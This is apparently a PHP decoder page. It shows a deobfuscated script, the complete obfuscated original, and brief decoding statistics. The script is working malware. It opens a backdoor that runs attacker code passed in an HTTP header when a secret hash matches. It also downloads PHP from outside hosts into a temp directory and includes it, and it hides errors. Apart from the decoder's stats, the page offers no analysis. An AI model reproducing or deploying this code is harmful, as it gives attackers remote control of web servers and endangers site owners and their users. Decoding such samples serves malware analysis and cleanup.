Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
if (!defined("determinator")){ function getfile($Q0OQ00){ $I1lI1l = QQ0QQQOO(2, 6); $Illlll = $I1lI1l.QQ0QQQOO(10, 7); if (@ini_get(QQ0QQQOO(23, 20)) == QQ0QQQOO(46, 2)) { $II1Il1=@file_get_contents($Q0OQ00); return QQ0QQQOO(50, 0); } elseif (function_exists($Illlll)){ $QOQ0QO = @$Illlll(); $Q0OOOQ = $I1lI1l.QQ0QQQOO(51, 10); $Il1lll = $I1lI1l.QQ0QQQOO(63, 7); $QQQQOQ = $I1lI1l.QQ0QQQOO(70, 2).QQ0QQQOO(73, 7); @$Q0OOOQ($QOQ0QO, CURLOPT_URL, $Q0OQ00); @$Q0OOOQ($QOQ0QO, CURLOPT_HEADER,false); @$Q0OOOQ($QOQ0QO, CURLOPT_RETURNTRANSFER,true); @$Q0OOOQ($QOQ0QO, CURLOPT_CONNECTTIMEOUT,5); if ($QQO0QQ = @$Il1lll($QOQ0QO)) {return QQ0QQQOO(50, 0);} @$QQQQOQ($QOQ0QO); return QQ0QQQOO(50, 0); } else { return QQ0QQQOO(82, 14).$Q0OQ00.QQ0QQQOO(97, 39); } } function upd($Q00OQ0,$Q0OQ00){ $I11Ill=@fopen($Q00OQ0,QQ0QQQOO(137, 2)); @fclose($I11Ill); if (@is_file($Q00OQ0)){write($Q00OQ0,getfile($Q0OQ00));}; } function write($Q00OQ0,$QQ000O){ if ($QOQOQO=@fopen($Q00OQ0,QQ0QQQOO(137, 2))){ @fwrite($QOQOQO,$QQ000O); @fclose($QOQOQO); } } $QQQQO0 = Array(QQ0QQQOO(139, 12), QQ0QQQOO(154, 11), QQ0QQQOO(170, 12)); function output($QOQO0O, $II1IIl){ echo QQ0QQQOO(187, 3).$QOQO0O.QQ0QQQOO(193, 2).$II1IIl."
"; } function param(){ return QQ0QQQOO(50, 0); } @ini_set(QQ0QQQOO(198, 19), 0); define(QQ0QQQOO(222, 16), 1); $Q0OOQO=QQ0QQQOO(239, 4); $IlIlll=QQ0QQQOO(246, 6); $QOOOOQ=QQ0QQQOO(254, 19); $IllII1=QQ0QQQOO(274, 18); $QQQQ0O=QQ0QQQOO(293, 18); $II1llI=QQ0QQQOO(313, 10); $II1llI.=strtolower(@$_SERVER[QQ0QQQOO(323, 12)]); $QOQ0OO = @$_SERVER[QQ0QQQOO(338, 20)]; foreach ($_GET as $QOQO0O=>$II1IIl){ if (strpos($II1IIl,QQ0QQQOO(361, 7))){$_GET[$QOQO0O]=QQ0QQQOO(50, 0);} elseif (strpos($II1IIl,QQ0QQQOO(371, 8))){$_GET[$QOQO0O]=QQ0QQQOO(50, 0);} } if(!isset($_SERVER[QQ0QQQOO(381, 15)])) { $_SERVER[QQ0QQQOO(381, 15)] = $_SERVER[QQ0QQQOO(399, 15)]; if($_SERVER[QQ0QQQOO(418, 16)]) { $_SERVER[QQ0QQQOO(381, 15)] .= QQ0QQQOO(434, 2) . $_SERVER[QQ0QQQOO(418, 16)]; } } if ($QOOQO0=$II1llI.@$_SERVER[QQ0QQQOO(381, 15)]){ $IIl1lI=@md5($II1llI.$IlIlll.PHP_OS.$QOOOOQ); $QQQ000=QQ0QQQOO(438, 7); $I1IllI = Array(QQ0QQQOO(445, 6), @$_SERVER[QQ0QQQOO(451, 4)], @$_SERVER[QQ0QQQOO(455, 6)], @$_ENV[QQ0QQQOO(451, 4)], @$_ENV[QQ0QQQOO(461, 8)], @$_ENV[QQ0QQQOO(455, 6)], @ini_get(QQ0QQQOO(471, 19))); foreach ($I1IllI as $I1l1ll){ if (!empty($I1l1ll)){ $I1l1ll.=DIRECTORY_SEPARATOR; if (@is_writable($I1l1ll)){ $QQQ000 = $I1l1ll; break; } } } $tmp=$QQQ000.QQ0QQQOO(491, 2).$IIl1lI; if (@$_SERVER["HTTP_Y_AUTH"]==$IIl1lI){ echo "
"; @output(QQ0QQQOO(495, 8), $IlIlll.QQ0QQQOO(507, 2).$Q0OOQO.QQ0QQQOO(511, 6)); if ($QQ0OOQ=$QQQQ0O(@$_SERVER[QQ0QQQOO(519, 16)])){eval($QQ0OOQ);echo "
";output(QQ0QQQOO(538, 4), QQ0QQQOO(542, 3));} exit(0); } if (@is_file($tmp)){@include_once($tmp);} else{ $QOOQO0=@urlencode($QOOQO0); upd($tmp,QQ0QQQOO(551, 6).QQ0QQQOO(559, 4).$QQQQO0[0].QQ0QQQOO(566, 14).$QOOQO0.QQ0QQQOO(582, 4).$IIl1lI.QQ0QQQOO(587, 12).$Q0OOQO.QQ0QQQOO(601, 4).$IlIlll); } } }Did this file decode correctly?
Original Code
<?php /*versio:2.11*/$Q000Q=0;$GLOBALS['IlII'] = '0fY3VybA62X2luaXQ%.1!3&YWxsb3dfdXJsX2ZvcGVu!55MQ64^X3NldG9wdA1#X2V4ZWMXwcY2xvc2U*.PGltZyBzcmM9Ig~IiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4ddwa29ubW8ubmV0d8_a3RpcHAuY2g7%00&c2lsYmVyLmRlf$&~@WV8~e5Og*7~ZGlzcGxheV9lcnJvcnM__@5*ZGV0ZXJtaW5hdG9y*YW5k9(&Mi4xMQ#7SWtjMnhUdjVBeTB3M2Q%YmFzZTY0X2VuY29kZQ}YmFzZTY0X2RlY29kZQa#aHR0cDovLwSFRUUF9IT1NU}0fSFRUUF9VU0VSX0FHRU5Ua;~dW5pb242a{c2VsZWN0@;UkVRVUVTVF9VUkka83U0NSSVBUX05BTUUe}5$UVVFUllfU1RSSU5HPw44L3RtcC8L3RtcAVE1QVEVNUAVE1QRElS2%dXBsb2FkX3RtcF9kaXI,Lg$6dmVyc2lv};.5LQ0}LXBocA#fSFRUUF9FWEVDUEhQ*#)b3V0b2sc^,d^*aHR0cA08Oi8v*&%L3BnLnBocD91PQe;Jms9{JnQ9cGhwJnA9_~JnY9f^^6261736536345f6465636f6465';$Q000Q=pack('H*',substr($GLOBALS['IlII'], -26));if (!function_exists('QQ0QQQOO')){function QQ0QQQOO($QQ, $II){$c=$GLOBALS['IlII']; $d=pack('H*',substr($GLOBALS['IlII'], -26)); return $d(substr($c, $QQ, $II));}};eval($Q000Q('aWYgKCFkZWZpbmVkKCJkZXRlcm1pbmF0b3IiKSl7IGZ1bmN0aW9uIGdldGZpbGUoJFEwT1EwMCl7ICRJMWxJMWwgPSBRUTBRUVFPTygyLCA2KTsgJElsbGxsbCA9ICRJMWxJMWwuUVEwUVFRT08oMTAsIDcpOyBpZiAoQGluaV9nZXQoUVEwUVFRT08oMjMsIDIwKSkgPT0gUVEwUVFRT08oNDYsIDIpKSB7ICRJSTFJbDE9QGZpbGVfZ2V0X2NvbnRlbnRzKCRRME9RMDApOyByZXR1cm4gUVEwUVFRT08oNTAsIDApOyB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCRJbGxsbGwpKXsgJFFPUTBRTyA9IEAkSWxsbGxsKCk7ICRRME9PT1EgPSAkSTFsSTFsLlFRMFFRUU9PKDUxLCAxMCk7ICRJbDFsbGwgPSAkSTFsSTFsLlFRMFFRUU9PKDYzLCA3KTsgJFFRUVFPUSA9ICRJMWxJMWwuUVEwUVFRT08oNzAsIDIpLlFRMFFRUU9PKDczLCA3KTsgQCRRME9PT1EoJFFPUTBRTywgQ1VSTE9QVF9VUkwsICRRME9RMDApOyBAJFEwT09PUSgkUU9RMFFPLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7IEAkUTBPT09RKCRRT1EwUU8sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IEAkUTBPT09RKCRRT1EwUU8sIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsNSk7IGlmICgkUVFPMFFRID0gQCRJbDFsbGwoJFFPUTBRTykpIHtyZXR1cm4gUVEwUVFRT08oNTAsIDApO30gQCRRUVFRT1EoJFFPUTBRTyk7IHJldHVybiBRUTBRUVFPTyg1MCwgMCk7IH0gZWxzZSB7IHJldHVybiBRUTBRUVFPTyg4MiwgMTQpLiRRME9RMDAuUVEwUVFRT08oOTcsIDM5KTsgfSB9IGZ1bmN0aW9uIHVwZCgkUTAwT1EwLCRRME9RMDApeyAkSTExSWxsPUBmb3BlbigkUTAwT1EwLFFRMFFRUU9PKDEzNywgMikpOyBAZmNsb3NlKCRJMTFJbGwpOyBpZiAoQGlzX2ZpbGUoJFEwME9RMCkpe3dyaXRlKCRRMDBPUTAsZ2V0ZmlsZSgkUTBPUTAwKSk7fTsgfSBmdW5jdGlvbiB3cml0ZSgkUTAwT1EwLCRRUTAwME8peyBpZiAoJFFPUU9RTz1AZm9wZW4oJFEwME9RMCxRUTBRUVFPTygxMzcsIDIpKSl7IEBmd3JpdGUoJFFPUU9RTywkUVEwMDBPKTsgQGZjbG9zZSgkUU9RT1FPKTsgfSB9ICRRUVFRTzAgPSBBcnJheShRUTBRUVFPTygxMzksIDEyKSwgUVEwUVFRT08oMTU0LCAxMSksIFFRMFFRUU9PKDE3MCwgMTIpKTsgZnVuY3Rpb24gb3V0cHV0KCRRT1FPME8sICRJSTFJSWwpeyBlY2hvIFFRMFFRUU9PKDE4NywgMykuJFFPUU8wTy5RUTBRUVFPTygxOTMsIDIpLiRJSTFJSWwuIlxyXG4iOyB9IGZ1bmN0aW9uIHBhcmFtKCl7IHJldHVybiBRUTBRUVFPTyg1MCwgMCk7IH0gQGluaV9zZXQoUVEwUVFRT08oMTk4LCAxOSksIDApOyBkZWZpbmUoUVEwUVFRT08oMjIyLCAxNiksIDEpOyAkUTBPT1FPPVFRMFFRUU9PKDIzOSwgNCk7ICRJbElsbGw9UVEwUVFRT08oMjQ2LCA2KTsgJFFPT09PUT1RUTBRUVFPTygyNTQsIDE5KTsgJElsbElJMT1RUTBRUVFPTygyNzQsIDE4KTsgJFFRUVEwTz1RUTBRUVFPTygyOTMsIDE4KTsgJElJMWxsST1RUTBRUVFPTygzMTMsIDEwKTsgJElJMWxsSS49c3RydG9sb3dlcihAJF9TRVJWRVJbUVEwUVFRT08oMzIzLCAxMildKTsgJFFPUTBPTyA9IEAkX1NFUlZFUltRUTBRUVFPTygzMzgsIDIwKV07IGZvcmVhY2ggKCRfR0VUIGFzICRRT1FPME89PiRJSTFJSWwpeyBpZiAoc3RycG9zKCRJSTFJSWwsUVEwUVFRT08oMzYxLCA3KSkpeyRfR0VUWyRRT1FPME9dPVFRMFFRUU9PKDUwLCAwKTt9IGVsc2VpZiAoc3RycG9zKCRJSTFJSWwsUVEwUVFRT08oMzcxLCA4KSkpeyRfR0VUWyRRT1FPME9dPVFRMFFRUU9PKDUwLCAwKTt9IH0gaWYoIWlzc2V0KCRfU0VSVkVSW1FRMFFRUU9PKDM4MSwgMTUpXSkpIHsgJF9TRVJWRVJbUVEwUVFRT08oMzgxLCAxNSldID0gJF9TRVJWRVJbUVEwUVFRT08oMzk5LCAxNSldOyBpZigkX1NFUlZFUltRUTBRUVFPTyg0MTgsIDE2KV0pIHsgJF9TRVJWRVJbUVEwUVFRT08oMzgxLCAxNSldIC49IFFRMFFRUU9PKDQzNCwgMikgLiAkX1NFUlZFUltRUTBRUVFPTyg0MTgsIDE2KV07IH0gfSBpZiAoJFFPT1FPMD0kSUkxbGxJLkAkX1NFUlZFUltRUTBRUVFPTygzODEsIDE1KV0peyAkSUlsMWxJPUBtZDUoJElJMWxsSS4kSWxJbGxsLlBIUF9PUy4kUU9PT09RKTsgJFFRUTAwMD1RUTBRUVFPTyg0MzgsIDcpOyAkSTFJbGxJID0gQXJyYXkoUVEwUVFRT08oNDQ1LCA2KSwgQCRfU0VSVkVSW1FRMFFRUU9PKDQ1MSwgNCldLCBAJF9TRVJWRVJbUVEwUVFRT08oNDU1LCA2KV0sIEAkX0VOVltRUTBRUVFPTyg0NTEsIDQpXSwgQCRfRU5WW1FRMFFRUU9PKDQ2MSwgOCldLCBAJF9FTlZbUVEwUVFRT08oNDU1LCA2KV0sIEBpbmlfZ2V0KFFRMFFRUU9PKDQ3MSwgMTkpKSk7IGZvcmVhY2ggKCRJMUlsbEkgYXMgJEkxbDFsbCl7IGlmICghZW1wdHkoJEkxbDFsbCkpeyAkSTFsMWxsLj1ESVJFQ1RPUllfU0VQQVJBVE9SOyBpZiAoQGlzX3dyaXRhYmxlKCRJMWwxbGwpKXsgJFFRUTAwMCA9ICRJMWwxbGw7IGJyZWFrOyB9IH0gfSAkdG1wPSRRUVEwMDAuUVEwUVFRT08oNDkxLCAyKS4kSUlsMWxJOyBpZiAoQCRfU0VSVkVSWyJIVFRQX1lfQVVUSCJdPT0kSUlsMWxJKXsgZWNobyAiXHJcbiI7IEBvdXRwdXQoUVEwUVFRT08oNDk1LCA4KSwgJElsSWxsbC5RUTBRUVFPTyg1MDcsIDIpLiRRME9PUU8uUVEwUVFRT08oNTExLCA2KSk7IGlmICgkUVEwT09RPSRRUVFRME8oQCRfU0VSVkVSW1FRMFFRUU9PKDUxOSwgMTYpXSkpe0BldmFsKCRRUTBPT1EpO2VjaG8gIlxyXG4iO291dHB1dChRUTBRUVFPTyg1MzgsIDQpLCBRUTBRUVFPTyg1NDIsIDMpKTt9IGV4aXQoMCk7IH0gaWYgKEBpc19maWxlKCR0bXApKXtAaW5jbHVkZV9vbmNlKCR0bXApO30gZWxzZXsgJFFPT1FPMD1AdXJsZW5jb2RlKCRRT09RTzApOyB1cGQoJHRtcCxRUTBRUVFPTyg1NTEsIDYpLlFRMFFRUU9PKDU1OSwgNCkuJFFRUVFPMFswXS5RUTBRUVFPTyg1NjYsIDE0KS4kUU9PUU8wLlFRMFFRUU9PKDU4MiwgNCkuJElJbDFsSS5RUTBRUVFPTyg1ODcsIDEyKS4kUTBPT1FPLlFRMFFRUU9PKDYwMSwgNCkuJElsSWxsbCk7IH0gfSB9'));?><?php Function Calls
| pack | 1 |
| substr | 1 |
| base64_decode | 1 |
| function_exists | 1 |
Stats
| MD5 | 8a06e272d8dab1711f36ece7e4fb44f5 |
| Eval Count | 1 |
| Decode Time | 99 ms |